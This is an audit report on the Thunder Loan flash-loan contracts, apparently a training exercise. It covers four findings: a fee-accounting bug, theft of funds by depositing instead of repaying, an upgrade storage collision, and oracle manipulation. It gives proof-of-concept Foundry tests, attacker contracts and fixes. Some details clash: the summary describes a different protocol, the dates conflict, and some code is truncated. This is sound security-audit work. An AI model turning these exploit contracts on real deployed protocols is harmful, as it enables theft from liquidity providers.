Thunder Loan Audit Report

Nadia Mahyaee

October 7, 2023

Thunder Loan Initial Audit Report

Version 0.1

Cyfrin.io

October 7, 2024

Thunder Loan Audit Report

Nadia Mahyaee

October 7, 2023

Thunder Loan Audit Report

Prepared by: Nadia Mahyaee Lead Auditors:

- Nadia Mahyaee

Assisting Auditors:

- None

Disclaimer

The Nadia Mahyaee team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

026da6e73fde0dd0a650d623d0411547e3188909

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Only Highs and Medium are reported

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
Gas	0
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` is the `deposit` function causes protocol to think it has more fees than it really does, whick blocks redemtion and incorrectly sets the exchange rate.

Description: In the thunderLoan protocol, the exchangeRate function is resposible of calculating the rate between the assetToken and underlying tokens. In a way, it is responsible tfor tracking of how much fee should be pass to the liquidyProviders.

However, the deposit function updates this rate without collecting any fees.

```
    function deposit(
        IERC20 token,
        uint256 amount
    ) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
            exchangeRate;
@>      emit Deposit(msg.sender, token, amount);
@>      assetToken.mint(msg.sender, mintAmount);
        // @audit-high
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact:

1. The redeem function is blocked, because the owed tokens calculated is more than the token which the contract acuelly have.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less that they desevred.

Proof of Concept:

1. Liquidity Provider deposits
2. User takes out a flash loan
3. It is now impossible for Liquidity providers to redeem

Proof of code

Place the following into ThunderLoan.t.sol

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
```

```
        uint256 calculatedFee = thunderLoan.getCalculatedFee(
            tokenA,
            amountToBorrow
        );
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(
            address(mockFlashLoanReceiver),
            tokenA,
            amountToBorrow,
            ""
        );
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation:

Remove the incorrect updated exchange rate from the deposit function.

```
function deposit(
    IERC20 token,
    uint256 amount
) external revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
        exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    // @audit-high
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

Description: The vulnerability allows a malicious user to exploit the protocol by misusing the ThunderLoan contract's functions. Specifically, the user can call a flashloan and, instead of repaying the loan via the intended ThunderLoan::repay function, they can deposit the funds back into the protocol using the ThunderLoan::deposit function. This results in the user gaining control

over the borrowed funds without returning them, effectively allowing them to steal all funds from the protocol.

Impact: It will cause to lose all the liquidity providers money.

Proof of Concept:

Proof of code

Place this code into ThunderLoanTest.t.sol

```
    function testUseDepositInsteadOfRepayToStealFunds()
        public
        setAllowedToken
        hasDeposits
    {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay depositOverRepay = new DepositOverRepay(
            address(thunderLoan)
        );
        tokenA.mint(user, fee);
        thunderLoan.flashloan(
            address(depositOverRepay),
            tokenA,
            amountToBorrow,
            ""
        );
        depositOverRepay.redeemMoney();
        vm.stopPrank();
        assert(tokenA.balanceOf(address(depositOverRepay)) > 50e18 + fee);
    }

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(
        address tswapPool,
        address _thunderLoan,
        address _repayAddress
    ) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
```

```
        address token,
        uint256 amount,
        uint256 fee,
        address /* initiator */,
        bytes calldata /* params */
    ) external returns (bool) {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

[H-3] Mixing up variables locations causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentluFlashLoaning`, freezing protocol.

Description: ThunderLoan.sol has two variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract ThunderLoanUpgraded.sol has them in a different order:

```
uint256 private s_flashLoanFee; // 0.3% ETH fee
uint256 public constant FEE_PRECISION = 1e18;
```

That due to how solidity works after the upgrade the s_flashLoanFee will have the value of s_feePrecision. You can not adjsut the position of storage variable, and removing storage variables for constant variables, breaks storage ocation as well.

Impact:

After the upgrade, the s_flashLoanFee will have the value of s_feePrecision. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantlly, the s_currentlyFlashLoaning mapping will start in the run storage slot.

Proof of Concept:

Proof of code

Put the following code in the ThunderLoanTest.t.sol

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/ThunderLoanUpgrade
.
.
.
    function testUpgradebreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        console2.log("Fee before upgrade:", feeBeforeUpgrade);
        console2.log("Fee after upgrade:", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout differences by running forge inspect ThunderLoan storage and forge inspect ThunderLoanUpgraded storage.

Recommended Mitigation: If you must remove the storage variables, leave it black as to not mess up the storage slots.

```
-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_black;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using tswap as price oracle leads to price and oracle manipulation

Description: The tswap protocol is a constatnt formula based on AMM (Atomated Market Maker). The price of a token is determined by how many reserves are on ether side of the pool. Because of this it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, eseentially ignoring protocol fees.

Impact: Liquidity providers will collect much fewer fee for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from ThunderLoan for 1000 tokenA. They are charged the original fee fee1. During the flash loan, they do the following:
   1. User sells 1000 tokenA, tanking the price.
2. Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA. 1. Due to the fact that the way ThunderLoancalculates price based on the TSwapPool this second flash loan is substaintially cheaper.

```
function getPriceInWeth(address token) public view returns (
uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).
getPool(token);
@> return ITSwapPool(swapPoolOfToken).
getPriceOfOnePoolTokenInWeth();
}
```

3. The user then repays the first flash loan, and then repays the second flash loan.

Proof of code

Place the following into ThunderLoan.t.sol

```
function testCanManipuleOracleToIgnoreFees() public {
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");

    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
    pf.createPool(address(tokenA));

    address tswapPool = pf.getPool(address(tokenA));

    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    // Fund tswap
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(tswapPool), 100e18);
    weth.mint(liquidityProvider, 100e18);
    weth.approve(address(tswapPool), 100e18);
    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp
    vm.stopPrank();

    // Set allow token
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);
```

```
        // Add liquidity to ThunderLoan
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        // TSwap has 100 WETH & 100 tokenA
        // ThunderLoan has 1,000 tokenA
        // If we borrow 50 tokenA -> swap it for WETH (tank the price) -> borrow
        // repay both
        // We pay drastically lower fees

        // here is how much we'd pay normally
        uint256 calculatedFeeNormal = thunderLoan.getCalculatedFee(tokenA, 100e1

        uint256 amountToBorrow = 50e18; // 50 tokenA to borrow
        MaliciousFlashLoanReceiver flr =
        new MaliciousFlashLoanReceiver(address(tswapPool), address(thunderLoan),

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18); // mint our user 10 tokenA for the fe
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 calculatedFeeAttack = flr.feeOne() + flr.feeTwo();
        console.log("Normal fee: %s", calculatedFeeNormal);
        console.log("Attack fee: %s", calculatedFeeAttack);
        assert(calculatedFeeAttack < calculatedFeeNormal);
    }

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    bool attacked;
    BuffMockTSwap pool;
    ThunderLoan thunderLoan;
    address repayAddress;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address tswapPool, address _thunderLoan, address _repayAddress)
        pool = BuffMockTSwap(tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }
```

```
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 expected = pool.getOutputAmountBasedOnInput(50e18, 100e18, 1
            IERC20(token).approve(address(pool), 50e18);
            pool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, expected, bloc
            // we call a 2nd flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // Repay at the end
            // We can't repay back! Whoops!
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            feeTwo = fee;
            // We can't repay back! Whoops!
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // IThunderLoan(address(thunderLoan)).repay(token, amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.